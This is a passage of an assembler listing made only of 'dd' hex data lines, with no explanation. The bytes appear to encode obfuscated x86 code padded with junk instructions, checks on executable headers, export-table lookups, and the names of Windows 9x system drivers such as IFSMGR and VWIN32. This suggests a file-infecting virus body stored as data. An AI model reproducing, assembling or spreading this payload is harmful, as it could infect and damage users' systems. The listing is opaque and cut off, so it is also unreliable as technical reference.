0E012B3BEh, 0A1958B60h, 61060711h, 19820F50h dd 60000000h, 12E9h, 9C22F100h, 61A7ED0h, 7B3D7AA2h, 0BE845930h dd 61EFD5DDh, 0FC240489h, 4576858Dh, 0FFFC060Ah, 7D9D89D0h dd 3060703h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0CF0EC356h, 0E9153110h dd 12h, 1CFD288Ah, 10F24D6Ah, 1EA6AC3Ah, 0D917DE4Dh, 958916B3h dd 6071945h, 56006AABh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0E29B3C48h, 20A224h, 0E5B58962h dd 5E06070Bh, 70E68DFFh, 0BD83060Ah, 60A70E6h dd 330A7500h, 0CFB58DC0h, 0FF060A7Fh, 81AD56E6h, 28247Ch dd 77100000h, 448B500Eh, 8D502C24h, 0A457685h, 3D0FF06h dd 97282444h, 858ADF8Bh, 60A70E2h, 474C084h, 4C75073Ah dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh dd 0E3985FFh, 5DE90607h, 5EFFFFFFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 3CC35747h, 58D95A72h, 0D648B57h dd 8BFCF8A3h, 70E3985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 256B92F3h, 0FC715FE9h dd 6AE0D1F5h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 3FDC356h, 70B9585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0BD299D2Dh, 0E97D573Ah, 9, 60E70F41h, 16F486C6h, 0C185292Eh dd 2B060702h, 50006AF6h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0E9606E71h, 0Eh, 0F30E7E5Ch, 0C0709BBAh dd 0EA66694Ch, 61F83E4Eh, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 46032DB0h dd 0E3D7C2C0h, 15819D89h, 0AD660607h, 6E9h, 0C260C300h dd 0C1B52EB7h, 958902E0h, 60732B5h, 2D698503h, 0B5890607h dd 6070C45h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0DFE812A7h, 34C9F734h, 9ADF909h dd 727618Dh, 247C8106h, 24h, 5E870F10h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A123C350h, 60FFC0B9h, 6759503h, 85030607h, 6073059h dd 8B0F9061h, 0Eh, 9E9h, 7F89A800h, 3E079E42h, 0F50FFAFh dd 0B81h, 6E900h, 55530000h, 7AFCBFF4h, 52006A90h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 448B2251h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 70CCA7C3h, 4E77DA2Bh, 68A0F60h dd 0F000000h, 82h, 50506100h, 8E952h, 60D80000h, 0AFFB2481h dd 310F22B2h, 52505250h, 585A310Fh, 890F310Fh, 0 dd 585A585Ah, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0DA9EC357h, 13E9DF6Ch dd 0C2000000h, 0BC1D975h, 0F8B500C9h, 0ADA26B41h, 3ECE3D1Fh dd 858DB990h, 60A4576h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 40C35747h, 37539BFBh, 0F23FB68h, 68Fh dd 2D850100h, 6006071Ch, 3009858Bh, 0DE90607h, 0D2000000h dd 0ACC74F99h, 411E529Dh, 32A1BAD1h, 89D0FF61h, 702E985h dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0E4896FC0h, 0AF6FB615h, 9D89F926h dd 6073179h, 1C244489h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 66C35646h, 14E92751h, 12000000h, 89E71EC0h dd 1F4286ECh, 0F0A010B8h, 14257CC1h, 0C6E6F556h, 7152585h dd 85C70006h, 60A7249h, 0 dd 70EA85C7h, 60Ah, 8F0F0000h, 1, 0F98529F9h, 6A060702h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4671C351h, 60605816h, 76ADBAB9h, 6661FC59h dd 0E961CF8Bh, 0Fh, 40D14718h, 0AE3FF4D5h, 59767C9Ch, 61B63A12h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 58C35545h dd 0FC4D2463h, 16558560h, 218D89EDh, 8906070Ah, 70BBD9Dh dd 8C206h, 12E9h, 119DA500h, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h dd 8BB2DABCh, 72D6985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 451DC80Ch, 48066027h dd 359589B4h, 4A06071Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 29C35343h, 0D4087744h, 0CBAD56BCh, 4D26BFCh dd 6AC203F8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0D67EC350h, 3E9696FEh, 759D8928h dd 96060729h, 0E9B58B60h, 8B060714h, 732159Dh, 6AAD6106h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0A8ABC356h, 7082C006h, 8914FCC1h, 70D1185h dd 247C8106h, 24h, 0DB870F10h, 0FC000000h, 8B666090h, 61D4B7FEh dd 46B06050h, 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 3821E2C3h, 704EC4C0h, 24448BFCh dd 6870F28h, 1000000h, 719F99Dh, 52509006h, 6830Fh, 52500000h dd 585A310Fh, 0AE9310Fh, 5E000000h, 476B64D9h, 164BE1CAh dd 50585A4Bh, 0DE9h, 69E46D00h, 8893F72Eh, 666597B3h, 6090439Eh dd 16658D09h, 5E90607h, 15000000h, 0A90BE10Ah, 76858D61h dd 6A060A45h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 607BC350h, 0EBA0C381h, 0B5892846h dd 607118Dh, 6AD0FF61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 914C357h, 36E9F8D1h dd 60FFFFFDh, 8E8h, 0B9931600h, 0FB8A2E32h, 58616085h dd 13E8h, 73FB1800h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 488D10FBh dd 80BAB4BFh, 8D615B6Bh, 0A860385h, 5E906h, 959E0000h dd 50719CB9h, 17890Fh, 12E90000h, 0ED000000h, 35A43AD8h dd 1C3207A2h, 9AE9A691h, 2AF8F8C6h, 2404893Ah, 0E518589h dd 0FF640607h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 4FA404B1h, 0BE9F818h dd 0D000000h, 0B13ED15Dh, 184FA404h, 48B33E2h, 0AE924h dd 0D08A0000h, 2CAF95FCh, 0D68356FAh, 158589F8h, 9060701h dd 72E7D9Dh, 5E906h, 82E30000h, 64AAA401h, 2589h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0F103E6C3h, 89F5E2B8h, 73179B5h, 0A9958906h, 8D060712h dd 0A83FF85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0F314ABDh, 0FCF3F857h, 9E9h, 4BB56500h dd 0EBFBF09Ah, 0CE91F72h, 32000000h, 4BB8C09Ch, 2BBAA35Fh dd 899F5524h, 6A0160h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9F685C3h, 25Dh, 3321BD89h, 13E90607h dd 51000000h, 4728A48Fh, 901D35A1h, 2A5A6D0Eh, 4C92704h dd 0DB8BC9FCh, 0E8h, 0ED815D00h, 60A83F8h, 12FF9CBCh, 25BD8300h dd 6070Eh, 858B1874h, 6071A29h, 8B0000C6h, 72F1185h, 0C606h dd 191D95FFh, 0FF600607h, 0A6CEEB5h, 0F2858D06h, 50060A6Ch dd 6EEA858Dh, 0FF50060Ah, 70F1D95h, 0CC48306h, 0B8666061h dd 0EE93322h, 0CC000000h, 1D2278A2h, 4B09DEE7h, 69C4B1FEh dd 6A61CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 1A9B14C3h, 240431F1h, 30918D89h, 85290607h dd 607215Dh, 6EEAB58Dh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BD8D58C3h, 6072411h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9DC35646h dd 0F8CE7ABh, 685h, 75950900h, 8006070Ah, 840F003Eh, 85h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A5C35242h dd 6CE2D339h, 12E960C7h, 0CD000000h, 0DA54E0FCh, 453F315Ah dd 9BCB0501h, 3D7D6D43h, 0CB8B6614h, 6AA461h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D508CEC3h dd 128332ECh, 0F9E63EACh, 0FFFF8EE9h, 50006AFFh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0FC02BB4h, 680h, 959D2900h, 0AA060730h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3C35545h, 11E9FCh dd 2730000h, 96F13923h, 0E6F70BF7h, 0AB3A598Eh, 0B8B4026Ah dd 7, 0DC99D29h, 85C70607h, 60702A1h, 1, 4A8D8DF8h, 6A06074Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 6FC4C352h, 8A0F8C0Dh, 6, 30A98D09h, 6E90607h dd 38000000h, 74E65D80h, 0F5E1FF67h, 0C245C8Bh, 0E855h dd 815D0000h, 0A860DEDh, 0B8838B06h, 89000000h, 0A6CEE85h dd 0F1858D06h, 89060A83h, 0B883h, 0C0335D00h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0CE8C565Dh, 8968CEFFh, 704F5BDh, 0A9950106h, 60060719h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D5C35141h dd 0B68C3E12h, 1C820Fh, 8F0F0000h, 16h, 11E9h, 0F09D6A00h dd 0DC55EBA4h, 2F884F14h, 53EB7AA8h, 858D8B87h, 60A8885h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1EC35242h dd 268BC9A4h, 399D890Dh, 60060719h, 131D9D31h, 56BB0607h dd 614A0218h, 0F830F50h, 0E9000000h, 0Ah, 3CF3B818h, 917DB994h dd 489DFB5h, 78D0F24h, 0F000000h, 18Dh, 0FF64F900h, 35h dd 108D0F00h, 0E9000000h, 0Bh, 62DACCB1h, 0FA62DEDEh, 64B766ACh dd 2589h, 12E90000h, 1B000000h, 5A228F3Fh, 9E14ADA9h, 29176EA1h dd 0DD507A17h, 0A858D87h, 60060A89h, 36F333BBh, 610AB831h dd 161465Eh, 704A195h, 1608906h, 2585C6F9h, 4F060715h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 96C35242h dd 6800F60h, 8B000000h, 70A059Dh, 0F58D8B06h, 61060720h dd 2573D68h, 0E952508Fh, 13h, 0E804C546h, 0DDF85151h, 24C907FFh dd 0F3239C83h, 0FA252B9h, 0EE931h, 7AE70000h, 0DA2C0F80h dd 8E4B79C2h, 0D486A664h, 3481585Ah, 0CA231724h, 0EE971h dd 0DBB60000h, 0A10E7C14h, 0EE9A813Eh, 0C837B3A8h, 1CBDB5FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0C7A275C3h, 60CD2B49h, 9188F081h, 8D313DD9h dd 6072141h, 0F4858D61h, 60060A70h dd 858986B0h, 6073259h, 60D0FF61h, 0FE853h, 3E3A0000h dd 82AC9664h, 0FF854224h, 80D8033Fh, 0F85A583Dh, 0C5E961h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0E8C06CC3h, 35A223BDh, 0E9844E50h, 8, 0FEC97144h dd 0CF3280A7h, 1B58960h, 89060716h, 72D759Dh, 5C8B6106h dd 0E8550C24h, 0 dd 8FED815Dh, 8B060A88h, 7293985h, 0BD858906h, 8B06071Ch dd 7319985h, 15858906h, 8B060710h, 730A585h, 4D858906h dd 0C6060700h, 7152585h, 85C70006h, 60A7249h, 0 dd 890A858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 1840Fh, 6AF90000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 6B32C357h, 48674E85h, 8585895Fh, 0BC06071Ah dd 12FF74h, 0CE9h, 4214F100h, 0F7D595h, 0F4E7E393h, 58F6481h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h dd 0F5DEBB9Ch, 6A04C483h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 78B9C350h, 34EB61FCh dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h dd 3 dup(0) dd 6E2E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 60065E78h, 613AF480h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 60FCC6B3h, 28B0Fh, 59520000h, 3481B866h, 9385C761h dd 60A89h, 0F8000000h, 6AC68Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 988340C3h, 0EF3AA5E8h dd 0D8B70F90h, 10E8C1FCh, 8E960h, 54E70000h, 96CCC83h dd 0C18BB1F9h, 0C8C16661h, 8589F908h, 60A8997h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B6C35545h, 0CBC166F5h dd 0B9666008h, 6061B11Ch, 11E8D08Bh, 90000000h, 0FB549F37h dd 65AFC47Fh, 2E251E8Eh, 6E188B7Bh, 83615EF8h, 850F40FBh dd 27h, 1870Fh, 8DFC0000h, 0A896BBDh, 0EDE9F506h, 0E9000001h dd 0Fh, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 83CC1D79h, 850F0DFBh dd 6Fh, 14E860h, 9BC60000h, 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h dd 203C3F12h, 11E82F5Ah, 3000000h, 586F69B7h, 0A92DA69Dh dd 298C87FEh, 9F761A8Eh, 8A53595Ah, 8D6158E1h, 0A8973BDh dd 0B8666006h, 8B661CB7h, 85E961CEh, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9585C357h, 89187CBEh, 83BC9F0Fh, 850F01FBh, 4Ah, 11E9h dd 0BE10B600h, 45785B31h, 9560094h, 0D8A7C6B3h, 0BD8D5B14h dd 60A897Bh, 0C18B6660h, 94B86656h, 0E96159CBh, 12Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B6C35040h, 0FB832376h dd 6D850F2Ah, 0F000000h, 0C80h, 6810F00h, 0F000000h, 86h dd 83BD8D00h, 0E9060A89h, 0Ah, 8E4326A9h, 0D4A0D40Ch, 9E9DE54h dd 89000000h, 31A3D53h, 0B935A505h, 0CBE9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0BD5F059Dh, 0C9FA0140h, 0A8C0Fh, 0F600000h, 8Dh, 61616000h dd 0F27FB83h, 2F985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0C941669Eh, 0BFB4C6AEh dd 60F893BCh, 860F60h, 0F000000h, 8Ch, 8B666100h, 0F6061C8h dd 68Ah, 0A9C18100h, 0E934BD1Ah, 8, 0D6CC0D2Fh, 0A553F1CCh dd 8BBD8D61h, 6A060A89h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0FE06C350h, 0E9C95546h dd 10h, 84E00C7Ah, 919D25D7h, 0C0C5FA55h, 6E42AF8Bh, 899BBD89h dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 1F8F5C3h, 6E960h, 73C10000h, 9DDAA9A1h, 0C88C6661h dd 0F0324F8h, 0C8Eh, 6860F00h, 0F000000h, 87h, 0FC00A00h dd 17785h, 5E900h, 0FDB20000h, 8D56432Eh, 0A8F43B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 850F3E94h, 15h, 0CE960h, 0A40D0000h, 74AD8936h, 5D6A0C24h dd 6160B298h, 0D8858B61h, 0F9060A8Fh, 32BF6660h, 0FED4BB22h dd 506121D6h, 0E8A1B360h, 7, 0E85AFB51h, 0FC7DB57h, 84h dd 89615900h, 880F2414h, 7, 1820Fh, 0FF80000h, 0FE244C01h dd 5E9h, 1D82A700h, 0FC5A6587h, 6A24C283h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 55CAC351h dd 0D4F0EDE5h, 66F5DFA4h, 0FFC7289h, 78Bh, 18E0F00h, 0F8000000h dd 6A10CEC1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0AA6DC356h, 0FCB0B6ACh, 606DC4F5h dd 15A7BA51h, 0E85B3C79h, 12h, 8DA54DEFh, 20A8750Bh, 17768216h dd 0F2F2E701h, 615E522Fh, 2728966h, 0A840Fh, 0F600000h dd 86h, 61616000h, 0EE9F860h, 8000000h, 7EC1E2A6h, 49B76399h dd 0F2DBC43Bh, 4CD615Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0A3C35343h, 86DC5F5Eh, 0C9F333B2h, 1810F38h dd 0FC000000h, 8CE9h, 44B56000h, 61D78B66h, 8FD8858Bh dd 820F060Ah, 8, 2860Fh, 61600000h, 8F43B58Dh, 0E860060Ah dd 14h, 65F6C299h, 86CCDD5Fh, 28EC2B22h, 8770B8FFh, 0E28D329Eh dd 0C7B70F5Eh, 18B0F61h, 0F5000000h, 4A8A858Dh, 0F60060Ah dd 381h, 0F2BF0F00h, 0D0FFF561h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 5EC35747h, 8459488h, 0B860B312h dd 4F0C723Fh, 28B0Fh, 0FB10000h, 93858961h, 60060A89h dd 0BE9h, 8FB77900h, 0D715E72Ah, 0B1104F0Ch, 3535DABEh dd 0F961615Ch, 8993858Bh, 0EE9060Ah, 62000000h, 0F0CFEECBh dd 0EAFA5806h, 25F42B6Ah, 0E960C31Ch, 0Bh, 0E4C87D46h dd 0A4E21B5Ah, 0E9E31A9Dh, 13h, 16D3ADAEh, 0DCF2103h, 6B57B86Ch dd 81DEEF68h, 61E5033Ah, 0BD83F560h, 60A8FD8h, 4F850F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 1D07C356h, 0FE90E7Ah, 0F3000000h dd 0BABA3046h, 0F5FEA7FCh, 3E133BFEh, 85C7BE83h, 60A8FD8h dd 1013Fh, 0DE9h, 1ECF5C00h, 7B49F7B4h, 0AE078E6Ch, 30E947B4h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0E98FC352h, 0Fh, 982215B8h, 853DEB1h dd 787D3620h, 0CDAB6807h, 20h, 74C00B00h, 0C708D37h, 899BBD8Bh dd 8B9060Ah, 0A6000000h, 75492275h, 30488BFAh, 89979D8Bh dd 583B060Ah, 8B157F34h, 4D26BD3h, 18BCA03h, 89938589h dd 4EB060Ah, 0C5EB008Bh, 93858B61h, 0CF060A89h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FBC35545h, 62790B91h dd 0E86054BBh, 0Bh, 0ECA5A2F3h, 4FE57FE2h, 0F646B53h, 88h dd 0B70F5B00h, 6A61FBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 4D8916C3h, 850F608Fh, 1, 8B61F9FCh dd 83E9C0h, 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h dd 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h dd 8B000000h, 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch dd 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h dd 3178B1Ch, 83202454h, 28A04C7h, 874C084h, 0E875033Ah dd 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h dd 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh dd 7, 0F09435CEh, 0E9552A15h, 12h, 69F018EDh, 67B1B3A2h dd 0ADFF8335h, 0BD2829Ah, 8158CF40h, 30B074C9h, 0AAC08163h dd 0BA00005Ch, 368157C7h, 16F968h, 81665E00h, 0FF09B7CAh dd 0BAB55030h, 0FE85B59h, 5D000000h, 3330B548h, 5C448089h dd 86F72B8Bh, 0FE8BDFEBh, 92F3815Ah, 6060D55Dh, 28B0Fh dd 61600000h, 0FE8h, 8D1B5B00h, 0F730B9B1h, 0EDC8FC75h dd 82B2E55h, 6159C68Bh, 0DB74C381h, 0F38165F1h dd 4D1D6673h, 13E953h, 0C8920000h, 637D83D3h, 0A93B9CFBh dd 0C0C0D46Ch, 0CC3D65FCh, 60008F66h, 0FDEBF0Fh, 8361D0B7h dd 810F04E8h, 3, 8305D980h, 850F01EEh, 0FFFFFF77h, 0ED5ECF81h dd 48E95EDAh, 50000001h, 54000000h, 58000000h, 5C000000h dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h dd 38h dup(0) dd 9F000000h, 0EB00574Eh, 8D009F50h, 0A91E685h, 0A906BE06h dd 85897BE7h, 60A9326h, 2CC28166h, 2585C62Ch, 54060715h dd 68C0Fh, 9D8B0000h, 60718C1h, 0E4F7DD68h, 243481AEh dd 40869FF4h, 0B5FFFA8Bh, 6071CBDh, 15950960h, 8006071Eh dd 8D6186F2h, 0A70F485h, 71BF6606h, 1D0FF3Fh, 71865B5h dd 2A858906h, 60060A93h, 207D8D89h, 0F8610607h, 40E9h dd 8B56F500h, 0A9326B5h, 83068906h, 0A932685h, 0C35E0406h dd 0E6B58D60h, 0EB060A91h, 6A560Fh, 95FF36FFh, 60A932Ah dd 4C6835Eh, 75003E83h, 0FC361ECh, 285h, 9D18A00h, 71D598Dh dd 0AF858D06h, 66060A93h, 1E34C181h, 31F98589h, 9E80607h dd 0B5000000h, 116971E4h, 92D1E95Fh, 23ADBD89h, 0F5590607h dd 5CD0C181h, 95010000h, 6073161h, 0BFh, 51B58B00h, 8B060726h dd 96BE3904h, 812E88ABh, 4F0903E8h, 7E908h, 13B90000h dd 96DE2AB4h, 0F4C081B6h, 6006A196h, 219D8BF5h, 61060720h dd 0E87DC081h, 85890133h, 6073141h, 8B390489h, 0D59D29DFh dd 83060731h, 958B04EFh, 60720B1h, 0A3E4FF81h, 850FFFFFh dd 1Eh, 3830Fh, 0B70F0000h, 2DE9DAh, 0A1F30000h, 1DEE8929h dd 69247F1Bh, 36AA0F6Eh, 0B58B2F47h, 6073035h, 0FFFF82E9h dd 0F1D7A0FFh, 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 0E9B661D1h dd 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h dd 0F2FD54A7h, 0A46AD043h, 0CB9E929h, 11680000h, 0E9060A98h dd 0FFFCE6E1h, 0A993068h, 0E6D7E906h, 0D568FFFCh, 0E9060A99h dd 0FFFCE6CDh, 0A9AC468h, 0E6C3E906h, 3F68FFFCh, 0E9060A9Bh dd 0FFFCE6B9h, 0A9BC968h, 0E6AFE906h, 3A68FFFCh, 0E9060A9Dh dd 0FFFCE6A5h, 0A9E5E68h, 0E69BE906h, 6568FFFCh, 0E9060A9Fh dd 0FFFCE691h, 0AA03368h, 0E687E906h, 0FF68FFFCh, 0E9060AA0h dd 0FFFCE67Dh, 4B9735E2h, 519D2BEDh, 56A22AF3h, 56A24CF8h dd 57A331F8h, 440B4C6Dh, 4E1674C0h, 581E7CC8h, 5D207ECAh dd 951083CFh, 6F177C6h, 2509E8F0h, 9E6118DBh, 713B4828h dd 0D5683705h, 8AF60C5Fh, 0D937EA3Ah, 0FE741811h, 0CCA91623h dd 0AE51C97Ch, 0FA864994h, 12D533AEh, 0D222CC78h, 0D7912D1Ch dd 0FCCB8D5Ch, 995CFC13h, 45242E51h, 0C275C58Ah, 99A08447h dd 4E018B54h, 2F993BFEh, 49F29C5Fh, 72A33485h, 0D9B5EBCh dd 14A063C1h, 7EAE9261h, 2CCFF00Bh, 894CAA12h, 24E745FBh dd 535A1D98h, 0E08DA46Bh, 1D7BC77Dh, 58F45B5Ah, 48098203h dd 24E745F8h, 8023E598h, 0D8A0FEA6h, 7CFB69DBh, 5AAAA3E8h dd 0FA8649A7h, 0D396F4AAh, 9759F945h, 0D799CAC6h, 51Ah dd 828E995Ch, 0F3176DE1h, 18DB593Dh, 0B87BD98Ch, 0CDF1E02Ch dd 1F51209Bh, 68FC136Ah, 1A0657A5h, 113F802Ch, 81716456h dd 9E51A1F1h, 72FEC523h, 214976AFh, 782E9EB8h, 0B7586A9h dd 65BD60F0h, 0CA3D5416h, 519499h, 9E190000h, 0B7D6CCFh dd 0F62EF1F0h, 3286A130h, 0BCE2C7Ch, 4AE3C77Dh, 0FE79F474h dd 0C670C2Fh, 4B0151F6h, 359255D0h, 51095635h, 0A43807BDh dd 0F9FC131Ah, 0E4B32EA9h, 0F00B0551h, 5508BE0Eh, 0B05BB86h dd 809A3DF0h, 0CA9131F3h, 0D17199h, 0DB8D0000h, 7BD98C18h dd 1F7D30B4h, 0DA55D05Ch, 0C67280Bh, 61EFB1F6h, 34845EAEh dd 0AA6DCB7Eh, 2D03D21Eh, 0F9F60C6Bh, 944AD29Bh, 0ED77336h dd 64A98C5Bh, 66B6F60Ch, 65EFB816h, 971262B2h, 63D2A11Ch dd 0FCF60C64h, 645EDDACh, 0AFFFF60Ch, 8C4FADF9h, 605E4D00h dd 0A6BE8D08h, 66FC139Bh, 0EE349FA3h, 2EFD1062h, 0F00BCF0Fh dd 0FAB00050h, 9584D020h, 0F6451429h, 67F00BCFh, 7D4CC717h dd 0FA11BADAh, 2280FB4Bh, 2B89D55Bh, 0A81E064h, 1EB4CA38h dd 988156Bh, 3FEC0000h, 31F3519Dh, 30F957A3h, 560260ACh dd 470E6CB8h, 62836DB9h, 92DE6229h, 96E26C34h, 98E47238h dd 9DE9773Ah, 5DE0AF2Ah, 2F006FFh, 14DB3F23h, 23E64490h dd 4A654995h, 0FE79F474h, 6781B483h, 8EDEF60Ch, 67F14413h dd 1E6EF60Ch, 753B9968h, 1464FC13h, 3B23E661h, 0DC7F3A03h dd 6B5D1CD0h, 54A42CDEh, 0D8DCB591h, 0D88EC7FCh, 0B972609h dd 51DC0F0h, 0CB1EB476h, 0DDF499h, 0DB100000h, 0A3926118h dd 0D3F60C67h, 1D883C45h, 95F3CD06h, 429245D3h, 91EFA2F2h dd 0C49346CAh, 0F60CDB6Ch, 0CDB9255h, 0F60CD429h, 4A96E636h dd 0E89B29ECh, 28A3C5F9h, 0D45FDEADh, 0B37CF60Ch, 4C267629h dd 0FCCB46FCh, 0FC132BE0h, 36B1FD4Dh, 0D08311D8h, 0E3DBCA80h dd 8F3B0A85h, 0F4FA118Ch, 0F848CE96h, 0CC581F7Dh, 8C5BD651h dd 0F60243A9h, 0A49766B6h, 18F60243h, 243EA49h, 492373F6h dd 99F743F9h, 0E15423D2h, 7EF60243h, 77286B2Eh, 